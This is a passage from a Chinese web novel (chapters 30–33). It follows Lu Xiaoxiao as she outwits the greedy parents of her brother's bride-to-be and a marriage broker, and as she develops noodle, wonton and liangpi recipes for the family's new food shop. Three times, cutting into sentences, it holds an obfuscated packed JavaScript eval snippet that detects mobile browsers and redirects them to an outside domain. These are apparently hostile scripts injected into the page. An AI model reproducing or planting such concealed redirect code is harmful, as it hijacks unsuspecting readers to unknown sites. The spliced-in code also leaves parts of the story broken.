“爹、娘、大哥，我想和她聊几句。” “你去吧，在你屋呢，聊完定下来，我跟你爹就送她回去了，不管怎么样，都不好在咱家过夜的。”卢二娘子道。 卢晓晓回了自己屋，赵杏花坐在屋里，听见声音，望了过来，秀丽白皙的脸庞似在昏暗的屋子里发光，一双眼眸水旺透亮，果然是好模样。 “晓晓。”赵杏花想问结果又不敢问。 “杏花姐姐，你想嫁我哥哥吗？” “我想的，你哥哥是个好人，你们全家人也好。” “所以你是看我哥心善，我们家人好，才整的今天这出吗？”卢晓晓直言道。 “不是的，不是的，我到镇上看过你们摊子，也见过你哥在书肆干活，你们兄妹几个性格都好，相处的也好，我做梦都想生活在这样的家里。”赵杏花焦急地解释。 “咱俩家先前说亲不成，后又交恶，如今就算结亲也是这样的缘故，你也不怕被我家刁难吗？” “你家都是好人，我想着只要我踏实过日子，你们也会对我好的，日久见人心。” “那你喜欢我哥哥吗？”卢晓晓问道。 喜欢？赵杏花没想过这个问题。 赵杏花想了想卢怀安这个人，想起他在书肆忙活的高大身影，想起他宽厚稳重的后背，越想越觉得心里火热热的，顿时羞红了脸。 卢晓晓这一看，还有什么不明白的。 “我是喜欢的！我一想到他就觉得欢喜。”赵杏花肯定道。 “杏花姐姐，我们想好了，今日先送你回去，过两日准备了聘礼，就去你家提亲。我们这会回堂屋吧！” 卢家一家人还在堂屋里等着，只等两人出来有个结论。 “爹、娘，我对杏花姐姐嫁到咱家没有意见，大哥也不必到外头住，咱们说说提亲的事吧。” 30. 炒鳝面 “杏花，叔婶今日先送你回去，等过两日准备好提亲礼就上你家。”卢二娘子道。 “叔、婶子，我爹娘怕是不能轻易教我嫁过来。前两日，牙婆上门说给行商找妾，能给五十两银子，我娘拒了，但是昨夜听到我爹跟我娘说，嫁给行商也是享福，往后吃穿就不愁了，等牙婆来的时候再抬抬价格，只怕过两日我就……”赵杏花泣不成声，再也说不下去。 如果不是他爹娘起了卖了她的心思，她今日也不会使出这下作的手段。 “呀，这可如何是好?你爹娘若是打定了主意要把你许给行商，我们去提亲也是无用的。”卢二娘子着急道。 “婶子，能不能就让我在家里住下，过两日直接把婚事给办了?”赵杏花只怕一回家就被卖了。 “这不成，我们卢家会被人戳脊梁骨的，回头你爹娘再报官说我们强抢民女，你又一反口，我们该如何?”卢大贵道。 “叔，我不会的。”赵杏花辩白道。 “得了吧，你都能使计赖上我们家了，谁知道这是不是你算计的一部分。”卢二郎对她还是没什么好感。 “我倒有一个法子，就是可能会对杏花姐姐的名声有些影响。”卢晓晓道。 “什么法子?只要不叫我被卖了，名声坏点就坏点！” 卢晓晓说了说，人人都觉得这法子好，赵杏花只满口答应。 卢晓晓又细细问了那来帮行商寻妾的牙婆姓甚名啥，在哪家牙行做事，又长得是何模样。 事情商定好，卢大郎和卢晓晓便依计划送赵杏花回家。 赵家村在另一处的山沟沟里，驾着骡子车，卢大郎紧赶慢赶，三人戌时才到地方。 乡下舍不得烧烛点灯，天一黑都在自家院子里聊天歇息，村子里静悄悄的，只听到隐约的说话声和地里的虫鸣声。 一进村，卢大郎的驾车声就大了起来，卢晓晓提着声调跟赵杏花说话，村子里的狗使劲吠了起来，吵个不停。 “谁呀?”一好事的大爷开门问道。 “大爷，是我赵杏花。”赵杏花答道。 “怎么恁晚回来呀，这车上的小伙子和小姑娘是谁呀?” “大爷，我是杜家村卢大贵家的，这是我哥，今日杏花姐姐掉水里，被我哥救了，我娘说不能占人便宜，叫我俩来赵家说一声，过两日就来提亲呢！”卢晓晓平日没少吆喝生意，她是知道怎么发声能把声音传得更远的。 等赵家听到声音出来看，大半个村的人都知道赵杏花落水被人救了，人过两日要来提亲了。 见到赵家人，卢晓晓又把要提亲的话说了一遍，也不给他们说话的机会，一张嘴叭叭地说两人是多么有缘分，多么相配，还说自家要在镇上开吃食铺子了，往后绝对亏不了赵杏花，有那好事的左邻右舍过来直说恭喜。 等到了第二天，卢晓晓又拉上卢二娘子大张旗鼓地到镇上置办聘礼，先是去了布庄，然后又去了木匠铺，最后去了牙行。 母女两人直接找上赵杏花说的牙婆。 卢二娘子说自己儿子要娶亲了，打算好好办上一场，想找个灶人给置办个好席面，问牙婆需多少钱，各灶人又擅长什么菜，说着说着，便说起儿子要娶的赵家村赵杏花，那模样是一等一的好。 牙婆原还想着这两日再去磨一磨赵家夫妻两，毕竟十里八乡像赵杏花一样的美人可不多，如今见她有了婚事，只得作罢。 牙婆面上不动声色，心中却是恼了赵家夫妇，这两人一面与她抬价格，一面又把女儿许了出去，好在行商这两日走货去了，她还未去找人说价钱。 虽说行商给的多，终究是个外乡人，牙婆做的是长久生意，她也不想坏人亲事，把当地人给得罪了。 卢二娘子挑挑拣拣问了好半天，最后也没有“寻”到一个满意的灶人，只说再找其他人寻寻。牙婆心中存了事，这生意没成倒也没有多在意。 做完这些，已是午时，两人已是饥肠辘辘，卢晓晓便说要去吃午食。穿街走巷地到了一家面馆，卢二娘子嫌贵不愿进去。 “娘，咱家就要开店了，不尝尝镇上这些铺子的吃食，如何知道我们卖些什么好?”卢晓晓小声地劝道。 开铺子如今可是家中最最重要的事，卢二娘子这才遂了女儿的意。 这家铺子最出名的是炒鳝面。卢晓晓点了碗炒鳝面，卢二娘子点了碗素面，花了四十文钱，两碗面赶上干一日短工的钱了。 铺子不大，做面杀鱼的档口就在店铺的一角，坐在店里能看到老板的动作。 只见店老板把盆里的鳝鱼捞出洗净，去除头尾后，对半切开，再剁成寸余长的鳝鱼段。锅中加入两大匙油，放入切好的鳝鱼段爆炒，又加入调料，大火快速翻炒。 香味很快地传了过来，卢晓晓闻了闻，应是放的姜末、茱萸。最后老板拿着一小壶往上一淋，滋地一声冒起白烟，再翻炒一二就起锅了。 然后老板又煮面条，煮完之后用筷子将面条挑入盛着水的盆中，晃开，再夹到漏勺里沥干水分，倒入碗中，加入喷香的芝麻香油拌匀。 然后又重新起锅，用爆炒鳝鱼剩的油爆香姜末、蒜末等调料，加入煮好的面条，再加入鳝鱼段翻炒，放入适量的盐和酱油，最后加入切好的韭黄，继续翻炒，炒至韭黄断生，香气冒出就起锅，起锅前再撒上一把切碎的小葱。 一锅炒鳝面分给了五位客人，等炒鳝面端上来，只见碗里葱绿，韭黄，色泽油亮的鳝鱼段在根根分明的面条中，令人垂涎欲滴。 卢晓晓给卢二娘子夹了两筷子的鳝鱼面，迫不及待的吃了起来。鳝鱼爆得恰到好处，鲜香味浓，肥而不腻，面条柔韧爽滑，味道极好，不亏是江大爷推荐的。 自打卢晓晓打算开铺子，就没少向镇上的老餮江大爷打听镇上的吃食。 两人吃了面，就回了家。 又过了一日，卢大贵从镇上赶回了一辆骡子车，回来时还特地经过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13968136|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了赵大妞家。 卢大贵买的骡子外形匀称，肌肉坚实，毛光皮亮，足足花了十二贯钱。 见卢家的日子越过越好，村里的好些人都后悔没提前跟卢家说亲，叫一个外村的姑娘占了先，有那不讲究，更是直接托了媒婆上门。 赵大妞怕到手的鸭子飞了，次日一大早就回了赵家村，让她兄嫂赶紧把两人的亲事定下来。 杏花爹娘还惦记着牙婆说的五十两银子呢，可左等右等都不见牙婆来，把赵大妞打发了回去，便去镇上寻了牙婆。 这牙婆本不欲理会两人，可杏花爹不会看人脸色，一个劲地催促牙婆去找行商多要些钱，又说他女儿可是有好人家等着娶呢！ 牙婆简直是气笑了，上回的母女俩会做人，虽说没促成买卖，人也给了十个子的茶水费，要跟赵家这样的人做亲家，真是倒大霉了。照她说，这样的婚事黄了也不可惜。 牙婆心生一计，道，“这胡商人还在外边走货呢，等过几日回来了，我再去问问，您若是着急，便许给那好人家呗！这有的是人想过那好日子，要不是看你家女儿模样好，哪能轮到她这什么都不会的乡下姑娘！” “不急，不急，我们等您消息呐！”杏花爹忙不迭地答应道，又是一通赔笑。有些人就是这样，越是贬低踩他，他就越是上赶着。 “我可说好了，这人挑出来之后也是要给胡商人看过才行，他要是不满意，我可管不着。唉，可怜我老婆子帮你们这忙上忙下的，天天连个茶水都没得喝。” 杏花爹扯了扯杏花娘，杏花娘咬了咬牙，从袖口掏出了五个钱塞到了牙婆手中，道，“这钱您拿去买杯饮子，润润喉，甜甜嘴，胡商人那边劳您给美言几句了。” “不是我夸，我们家杏花那样貌是没得说的，十里八乡都寻不着这样标致的姑娘，这事若是成了，我们给您包个大红封，价格方面还赖您给提一提。”杏花爹可没忘记要抬价。 牙婆只胡口答应，也不管这赵家夫妇回去后，是如何着急地抓嘴挠腮，茶饭不思。 又说卢家这边，村里人人都知道卢家人要搬到镇上开铺子了，赵云霞这些日子靠捡酸枣攒了些钱，便想问问卢晓晓往后如何送酸枣，知味斋也在收酸枣，但她还是更想卖给卢晓晓。 瞅着过了晚食的点，赵云霞就牵着柱子过来了，“晓晓，这会可得闲？” “嫂子，快进来坐。”说话间，卢晓晓回屋拿了些酸枣糕给柱子。 “晓晓，你们到镇上开铺子，往后酸枣如何送给你们？” “往后我爹隔两日就会回村里拉些菜到镇上，到时候到您家取。” “那可用得着一些山里的野菜、野笋、山菇？开铺子用的材料多吧？”酸枣快没了，若是能收山货就好了。 “要的，要的，就是现如今还没有想好卖什么，若是要收山货，我定还会找你的。”卢晓晓肯定道。 铺子上卖什么确实是卢晓晓如今最大的问题。 31. 虾爆鳝面 等赵云霞回去，卢晓晓犯起了难。 “晓晓，可是在想铺子卖什么?”卢二娘子问道。 “卖馒头吧，我看薛记馒头就卖得很好。”卢二郎道，他觉得卢晓晓做的馒头更好吃，个儿大用料实，两个管饱。 “那日吃的炒鳝面也不错，一碗面卖三十文钱呐！如今鳝鱼正是肥美。”卢二娘子道。 “卖糟货也行，槽鱼糟鹅糟蹄膀，能卖的可多了。”卢大贵也出了主意。 “姐，不如开个茶馆，卖点心茶水，你做的点心这样好，连知味斋都要找你买方子呢！”卢三郎这样说。 卢晓晓简直是哭笑不得，如今全家人对她手艺谜之相信，好像只要是她做的就比别人做的好吃。 “你们这也太看得起我了，说的都是这镇上十几年的老字号，我哪能比得过呀！”这些个老字号，虽说味道也没有做到极致，可是千人千味，谁又能说一定就比谁好呢? 不过，卢二娘子说的炒鳝面确实让她有了些想法。 卢晓晓想了想，道，“二哥，明日买条黄鳝吧，要大的，再买一些河虾，个头也要大的，棒子骨也要两根。” “河虾不用买，明日我去河里做个陷阱，你就等着起网就行。可是要做新吃食了？”卢二郎期待极了。 “嗯，是要做，明日吃面，虾爆鳝面。” “比炒鳝面好吃吗？”卢二郎还没吃过炒鳝面呢。 “各有各的好，我打算做的这面是汤面，加上虾仁，味道会更丰富，鳝鱼的口感也要不同。”虾爆鳝面能作为现代百年老店的招聘驰名中外，那肯定是有它独特魅力的。 如今摊子已经交给了卢二郎和卢春芬，卢晓晓和卢二娘子在张罗搬家和开铺子的事。 还有卢大郎的婚事。 买了骡子车之后，卢家还给赵家送过两回吃食，每回都是大张旗鼓的，只动嘴说提亲，聘礼是半点都没提，就准备着好好磨一磨赵家夫妇俩。 到了第二日，卢晓晓跑遍了附近的油坊和油盐铺，选开铺子用的油。要想吃食做得好，那就得油好。不同的吃食用哪种油也有讲究。就拿虾爆鳝面来说，鳝鱼就得经过三种油烹调，菜油爆，猪油炒，麻油浇。 等卢晓晓从外边回来，已快酉时，鳝鱼买好了，河虾也捞回来了，便开始准备吃食。 先揉好一团面，放在一边醒面，然后将棒子骨斩断，焯水，炖成肉汤，再做熏鱼，炖红烧肉，做好这些，面也醒好了。 醒好的面团再次用手揉均匀，然后团成一团，光面向下置于案板上，用擀面杖向四周用力擀成圆片，擀得薄厚均匀，足够大时，撒上干面粉，把擀面杖卷入面中，再反复对外推卷，然后又将面片展开，撒上干面粉，继续反复推卷，直到将面团擀成个大圆薄片，然后将擀好的面片折叠，推拉切出粗细均匀的面条。 揉面的时候加入鸡蛋和少许盐，做出来的面条韧劲更好，若是有条件将面压制一二，那会更柔韧。 面条做好了，就开始处理虾和鳝鱼。 卢二郎买回的黄鳝约摸两指粗，肉厚质嫩。洗净后宰杀，去除头尾，再对半切开，剔除脊骨，然后切成两寸长的鳝鱼段，洗净放到一旁沥干水分。 河虾在加入少许盐的清水中浸泡两刻钟，再用清水冲干净浮沫和杂质，把虾仁剥出，开背去除虾线，然后以蛋清、玉米粉、味精、盐调和而成的料汁上浆。 然后将切好的面条抖搂着放入沸水中煮至七成熟时捞出，经冷水过凉后，用笊篱中沥去水分。 然后起锅爆鳝鱼段，大火烧锅，倒入菜籽油烧至油面冒起青烟时，放入鳝鱼段炸至有沙沙声，鳝鱼皮起小泡时，捞起沥去油，然后将底油盛出，倒入少量猪油，把葱姜末煸炒出香味后，放入炸好的鳝鱼段，加入半勺的肉汤，少量酱油、白酒，煮至入味后加味精盛出。 最后锅中放入炖好的肉汤，大火烧开，加入面条和鳝鱼料汁，烧至汤浓，加入味精盛入碗中。 然后将鳝鱼段铺在面条上，浆好的虾仁下锅清炒至变色后，再置于鳝鱼之上，最后淋上一小匙香油，虾爆鳝面就做好了。 晚食时，卢家人就吃上了喷香的虾爆鳝面。做出来的面是既香又美，吃起来虾嫩鳝脆，汁浓面鲜，面条吸入了鳝鱼的香味，美味极了。 “晓晓，这个好，再没有比这个更好吃的面了。”卢二郎一边吸溜面条，一边称赞道。 “我吃着这个比炒鳝面好，这个面爽滑入味，鳝鱼香而不腻，口感也好。”卢二娘子道。 “我们同窗定会喜欢，他们都等着咱家的吃食铺子开张，吃新鲜吃食呢！” “那这虾爆鳝面就作为咱家铺子的吃食了。”卢晓晓拍板道，卢三郎说的没错，新鲜吃食才是卢家铺子的希望。 卢家这边欢欢喜喜的琢磨铺子里卖的吃食，赵家那边可就没有这么顺坦了。 牙婆又吊了赵家夫妇几回，从他俩手中捞了小半贯钱，便躲着不再见他们了。 杏花爹是急得直上火，在牙行前蹲守了大半天，才守到从外边回来的牙婆，“大嫂子呀，胡官人可回话了？您怎么就不见我们啦！” “你还有脸来找我？你家姑娘都许了人家了，还让我在这白忙活！” “大嫂子这话怎么说？”听到这话，杏花爹心中一咯噔，觉得事情要坏。 “前两日我上你们村，你们村里人都说你家好福气，女儿要许给家开铺子的好人家了。” “他们胡说的，根本没有的事，那家人压根就没来提亲。”杏花爹解释道。 “照你这么说，真是有这么家人了？那既是未提亲，怎么村里就传开了？肯定是你在这说瞎话欺瞒我。” “真没有，我家女儿落水被那家小子救了，当夜给送回家了，那家人就到处说我家女儿要嫁他们了。”杏花爹越说越错。 “呵，你这样的，我更是不能介绍给胡官人了，人家胡官人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13984568|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指名要的是清清白白的姑娘，这要是传出去了，我老婆子牙婆的名声还要不要？以后谁还来找我买人？走走走，别来烦我了。” “那我给的那钱，您再给回来。”杏花爹见牙婆态度强硬，便想着把给出去的钱要回来。 “钱？什么钱？礼我送了，腿我跑了，话也说了不少，到头来一分佣金都拿不到，你还敢管我要钱，我没找你们要钱就好了！”说罢，就使牙行的打手把人赶了出去。 杏花爹是气得心肝肺疼，回到家，看到杏花是眉毛不是眉毛，眼睛不是眼睛，开口骂道，“你就是个讨债的，好端端你去那河边干什么！这下好了，胡官人嫁不成了！” 杏花听了，心中欢喜极了，这才将心放下。按照卢晓晓的计划，这牙婆第二日就该回绝了他们，可不知怎的今日才得了消息。 “怎么回事，杏花那事叫牙婆给知道了？”杏花娘赶忙问道。 “可不是，那卢家人吆喝得全村人都知道了，我真是脸都丢尽了。”这人的羞耻感奇怪得很，想卖女儿的时候不觉得丢脸，女儿被人救了，反倒觉得丢脸了。 “可他们到现在都没使媒婆来提亲，是不是不想娶咱家杏花了？”杏花娘没忘了赵大妞说的。 “那怎么能成！杏花都叫卢家小子抱过背过了，往后哪还能嫁什么给得起聘礼的人家。你明日就上他们家去说，要是不来提亲，我们就去闹，去摊子上闹，去村里闹。”这下杏花爹着了急。 卢晓晓这计策不仅算计了赵家夫妇，也防了赵杏花一手，只要赵家一着急，亲事就好说了，虽说剩下的日子赵杏花在家怕是不好过，可对付不要脸的亲家，就是不能太给脸。 到了第二日，杏花娘一大早就往杜家村赶，先是去找了赵大妞，再让赵大妞拎着去了卢家，到的时候已是中午。 卢家人正在吃午食，吃的是葱油饼和小米粥，刚出锅的葱油饼，葱香扑鼻而来，香得赵家姑嫂直咽口水。 卢二娘子便客气地请两人坐下，一道吃，好在卢晓晓做得多，姑嫂两一人分得半张饼，只觉这饼葱香四溢，外酥里软，好吃得很。 大侄女要是能嫁到这多好呀，往后就能得他们家送吃食了，去镇上也不用带干粮了，赵大妞心想。 吃过饭，姑嫂两道明了来意，这两人是一日唱红脸，一日唱白脸。 嫂子说卢家小子占了人便宜就不管了，小姑子就说卢家都是实在人，肯定干不出那样的事，嫂子又说卢家不懂礼数，现在都不去提亲，小姑子又说肯定是想好好准备聘礼。 两人是一说一唱，好不热闹。 等两人说得都快没话说了，卢二娘子才说，使了镇上的媒婆，正打算明日去提亲呢！ 杏花娘又问都准备了什么聘礼，卢二娘子道保管叫他们在村里风风光光的，又叫杏花娘放心，往后他们定会对杏花好的。 等到了第二日，赵家在村里果然风光了一回，可杏花爹差点没被气死。 32. 鲜肉馄饨 送走了赵家姑嫂，卢二娘子来到了灶房，卢晓晓正在炖肉。 “晓晓，明日去提亲可来得及准备东西？”卢二娘子问道。 “娘放心，照咱之前说的，都安排好了，明日我跟大哥去镇上接上媒婆，拉上东西。” “成，我去跟你二伯娘说一声。” “娘，晚食吃鲜肉馄饨，你叫二伯娘晚上少做些菜，过来拿些馄饨去吃。”卢晓晓说道。 馄饨好吃的秘诀在于馅料，卢晓晓要做的就是经典的鲜肉馄饨，精选上好的前腿肉，剁成肉末，调制成馅，最是鲜香嫩滑。 卢晓晓先是将葱姜切片，再以刀面将姜片拍散，侵泡到清水中，轻微揉搓后，置于一旁备用。 将肉切成小块，剁成肉沫，加入鸡蛋、盐和味精，搅拌均匀，肉要顺着一个方向搅拌，才能搅上劲。 然后少量多次加入泡好的葱姜水，加入葱姜水后，用手把肉馅揉搓摔打，直到肉馅把水吸收，再继续加水，这一步最是费工夫，但也是馄饨爽滑劲道的关键。 最后加入切好的葱花碎，起锅热油，将热油浇在葱花上，激出葱香，再搅拌均匀。 肉馅调好了，便开始包馄饨，只见卢晓晓用筷子将肉馅挑拨到馄饨皮中，顺势用筷子将馄饨皮的对角夹住，另一只手再一抓，一只馄饨就做好了。 馄饨皮是上午做好的，整整齐齐的叠在一起，纤薄光滑。做馄饨皮需用高筋面粉，揉出来的面才够筋道有韧性，现代可以直接买，在古代就得自己想办法了。 卢晓晓看过分析贴，所谓高筋面粉就是蛋白质含量更高的面粉，那就往普通面粉里多加蛋白质好了，蛋白质怎么来呢，这就得用到面筋了。 取上小半盆的清水，把醒好的面团浸入水中，用擀面杖轻打面团，水变混浊后，换一盆清水，直到水不再变混浊，洗剩下的便是面筋。洗面的水也有大用处，只等静置一夜，面粉沉淀后再做他用。 将面筋加入面粉中，再加入鸡蛋和盐，揉制出做馄饨皮的面团，醒上两刻钟，用擀面杖反复卷压，压制出纤薄透光的大面片，然后折叠在一起，用刀切出巴掌大小的方片。 这样做出来的馄饨皮才够柔韧爽滑。 卢晓晓馄饨包得娴熟，左右手配合，不一会儿就包出了半簸箕的馄饨。卢晓晓自己包的馄饨馅料多，一斤肉馅一斤皮，三斤的前腿肉包出了两百余个馄饨。 给卢二伯家分了八十个，又给卖宅子的大爷分了三十个，自家也就剩了一百多个。老大爷如今还在镇上，卢晓晓一家只等着这几日大爷把东西收拾好了搬到府城去。 包完馄饨也快到了吃晚食的点，馄饨好煮，将一锅清水煮沸，把鼓鼓囊囊的馄饨下入锅中，煮至水再次沸腾，馄饨漂浮起来，就煮好了。 在碗中放入虾皮、紫菜、盐、味精，然后将煮馄饨的热汤浇到佐料上，舀出馄饨，撒上香菜，香喷喷的鲜肉馄饨就做好啦。 卢家人一人捧了一碗香喷喷的馄饨，面皮柔软滑爽，肉馅鲜嫩多汁，汤汁鲜香味美。在渐凉的秋日中，吃上一碗热腾腾的鲜肉馄饨，简直是人间美事。 几人顾不上说话，窸窸窣窣的吃了馄饨，又喝了汤，才惬意的聊起天来。 卢二郎摸着暖烘烘又饱足的肚子，感叹道，“真好吃呀，要是能天天吃到鲜肉馄饨就好了。” “二哥，你也不怕吃腻。今日事多，用的清水煮馄饨，若是时间足，熬上一锅骨头汤做汤底，那更是鲜美。”卢晓晓也觉得熨帖极了。 “这鲜肉馄饨得在铺子里卖吧，这肉多，会不会成本太高了?”卢二娘子这几日跟卢晓晓忙活开铺子的事，如今见到吃食就想着如何卖。 “自家吃才放这么多的肉呢，卖的时候肉少些，馄饨皮爽滑，也好吃的很。”紫菜和虾皮不多了，她还得去码头多买些回来，往后开铺子，用的味精也多，卢晓晓心想。 “晓晓，明日是怎么安排?”卢大贵问道。 卢大郎想着提亲的事很久了，可又不好意思自己提，如今听卢大贵问了，紧张的竖起耳朵等卢晓晓的答复。 “爹，我们辰时出发，带上聘礼，先去知味斋拿糕点，然后接上媒婆，约摸巳时能到赵家村。” “晓晓，明日那样弄，杏花会不会难做?”卢大郎忍不住问道。 “明日这样做都是为了杏花姐姐，咱这么一弄，往后赵家村只有说她嫁得好的，说咱家好的。”至于杏花爹娘高不高兴，那自然是不高兴更好。 “哥，你喜欢杏花姐姐吗?”同样的问题卢晓晓也想问卢大郎。 “瞎说什么呢，明日、明日带了多少肉呀？”卢大郎慌忙地转移话题，想起赵杏花如杏花般娇艳的面庞，不免有些脸红，这几日他没少想赵杏花的事。 “啧，没意思，人杏花姐姐就直接说了。” “她怎么说的？”卢大郎紧张极了，想知道又不想知道答案。 “当然是喜欢呀，不喜欢咱还提什么亲呀！”卢晓晓只觉得大哥傻了，这婚事是赵杏花谋划来的，那肯定是喜欢呀。 卢大郎情不自禁地笑了起来。 看两眼就喜欢上了，这古代人对爱情的追求真是简单又朴素呀，卢晓晓不禁感慨道。 第二天，卢大娘子一大早就过来了，直夸卢晓晓的鲜肉馄饨做得好，鲜嫩爽滑。说笑间，几人上了车，往那镇上去。 到了镇上，取了糕点，接了媒婆，卢大郎又驾着车载着卢晓晓几人往赵家村赶。 车上的东西是满满当当的，两大箩筐的肉、菜、点心，两匹绢布，脚边还有两只呃呃叫的大白鹅。 到了村口，卢晓晓就先下了车，门前屋后，地里田间的到处串，让人去赵家沾喜气。 卢大贵一行人到了赵家，杏花爹娘瞧见车上这样多的东西，眉眼都笑开了，高兴地领着人往屋里走，唤小女儿烧壶水过来。 赵家有三个女儿，一个儿子。大女儿已经嫁出去了，赵杏花是二女儿，小女儿唤赵桃花，容貌很是普通。儿子最小，十一二岁的年龄，书也不读，事也不做，整日只知道捉鸡撵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13997876|146136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狗，满村子疯玩。 几人在堂屋坐下，歇了歇脚，媒婆就道明了来意，卢二娘子说，他们置这聘礼可是花了大心思，花了十余贯钱，包管叫赵家在这村里风风光光。 用十余贯钱置办聘礼，在村里可是很多了，虽说比不上胡行商的五十贯钱，可这卢家如此冤大头，往后还愁弄不着钱吗，细水流长，那挣得肯定不止五十贯钱。 杏花爹娘对了对眼神，满口答应了卢家的提亲，就要一起出去看车上的聘礼，出了堂屋，发现院门前围了好些乡邻，恭喜赵家喜事临门。 杏花爹有些奇怪，往日哪家人提亲也没有这样热闹，许是因为卢家人每次过来都大张旗鼓的关系。 到了车前，卢二娘子道，“今儿是个大喜日子，要叫乡亲们沾沾喜气，大家也知道，我们家是开吃食摊子的，今儿带了些吃食点心，让大家尝尝。” 提亲的时候一般都会给来道喜的客人派些瓜果，杏花爹看着这么多的人，有些心疼，但想着准备的瓜果应也不会太多，就接口道，“对对对，今儿我们家杏花定亲了，大家伙也沾沾喜气。” 卢二娘子掀开筐子上的布，一箩筐里放着一只大陶罐，揭开盖子，浓郁的肉香扑鼻而来，另一箩筐里放着的是好几个印着知味斋标志的纸包，剩下的就是些不值钱的瓜菜。 杏花爹觉得不对，刚要说些什么，卢大娘子快人快语地对院外吆喝道，“这肉和糕点都是我们给大家准备的，往后杏花就要成我们卢家的媳妇了，多谢往日里乡亲们对杏花的招顾。” 院外的人一下子涌了进来，哇，这卢家人是真喜欢赵杏花呀，准备这样多的礼，怪不道那小丫头满村的找人来沾喜气。 “我们准备的不多，一人两块肉，两块糖糕，咱村的人都能领啊，还劳乡亲们回家拿个碗来装。”卢二伯娘又说道。 杏花爹赶紧扯了扯杏花娘，示意她赶紧拦一拦，这么多的肉，这么多的糕点，可都是算在聘礼钱里的呐。 杏花娘忙把卢二娘子拉到一边，道，“妹子，这怎么行啊，这么多的肉和糕点发出去不是可惜了吗？” “可惜什么，不是你们说的吗？一定要全了礼数，一定要找回面子。我是个没能耐的，只能想到这样的法子，我也心疼，这些吃食可值三贯钱呐，但是我家男人说这钱省不得，刚刚杏花爹也说好呀，咱就不要管这些了。” 卢二娘子说的是单买的市价，因着莲蓉月饼，卢晓晓是用极低的价格买的糖糕。 杏花爹在一旁偷听到两人的对话，快要呕死了，却也抹不下脸，开口把端碗来的人赶回去。 杏花爹又使杏花娘去看其他的聘礼，这聘礼里头有一匹绢布是给赵杏花做喜服的，还有一根银钗，说明了是让赵杏花成亲那日带着出门的。 村里人都说卢家人考虑周到又厚道，真是打着灯笼都寻不到的好亲家。 这下好了，绢布和银钗也不能昧下了。杏花爹眼睁睁地看着一大罐的肉和好几包的糕点分完了，感觉他的心被挖了个大洞，血淋淋的。 33. 秘制凉皮 到了午时，凑热闹的人才渐渐散去，杏花爹瞬间耷拉个脸，杏花娘也不说留人吃饭。 亲事说好了，治人的法子也使了，卢家今日是圆满了，乐呵地辞了杏花爹娘，回家去了。 回到村里，先把卢二伯娘送回家，又给卢爷爷说了今日的事。 “这样促狭的主意，定是晓晓想出来的。”卢爷爷笑道。 “爷爷，你就说这主意好不好吧？”卢晓晓撒娇道。 “哈哈哈，好极了，咱家对事就得有个态度，才不叫人轻易给欺负了。” 听到这，秀珠不自在的避了出去。 “成亲定的是哪日？”卢爷爷瞟了秀珠一眼，继续问道。 “爹，合了两人的八字，最近的好日子是下月初八。”卢二娘子回道。 “镇上的铺子张罗得怎么样啦？可忙得过来？需要帮忙就只管说。”卢爷爷又说道。 “爷爷，明日下午宅子就空出来了，明天先过去打扫打扫，打算十二住过去，再收拾收拾，十四开张，到时候可要麻烦二伯一家帮忙了。” “只管开口就是了，一家人别说这外道的话。”卢大娘子道。 又说了会话，几人才回家了。卢大娘子有心让他们留下来吃饭，卢晓晓只道家里已经备好了吃食，只上锅蒸一蒸就好了。 到了家，卢二郎便来问今天的情况，卢晓晓要去做午食，叫他问其他人。 昨日洗出的面浆，上层的水已变得清澈，面粉都沉淀到了底部，小心的把水舀出，直到盆里剩下薄薄的一层水，然后搅拌成均匀的面糊。 卢晓晓寻了两个圆形的承盘，准备用来蒸凉皮。往承盘里擦上少许油，舀一勺面糊倒入，然后轻微的左右晃荡承盘，让面糊均匀的铺在底部，烧开一锅水，把承盘放入锅中，盖上锅盖，改为小火，蒸上片刻，看到面皮鼓起大泡就熟了。 然后小心地让承盘置于冷水盆中，注意放承盘时不要倾倒，避免水进到凉皮里。等面皮凉透，表面刷层油，慢慢地剥下，剥下的面皮就是凉皮了。 “晓晓这是什么呀？真好看。”后头突然传来卢二郎的说话声。 “哟，二哥你怎么在这呀！”卢晓晓全神贯注地做凉皮，被冷不丁的说话声吓了一跳。 “我早来了，爹娘和大哥可没意思了，两句话就把提亲的事儿说完了。这要怎么吃呀？” “二哥，我忙着呢！”卢晓晓顾不上说话，这边蒸，那边揭，忙得不可开交。 “你忙，你忙，我看着就行。”卢二郎让到一边，满眼都是卢晓晓手中一块块透亮有弹性的凉皮。 忙活了小半个时辰，才把面糊用完，揭出了十余张面皮。 然后将凉皮切成一指宽的条状，黄瓜切成细丝，放到碗中。 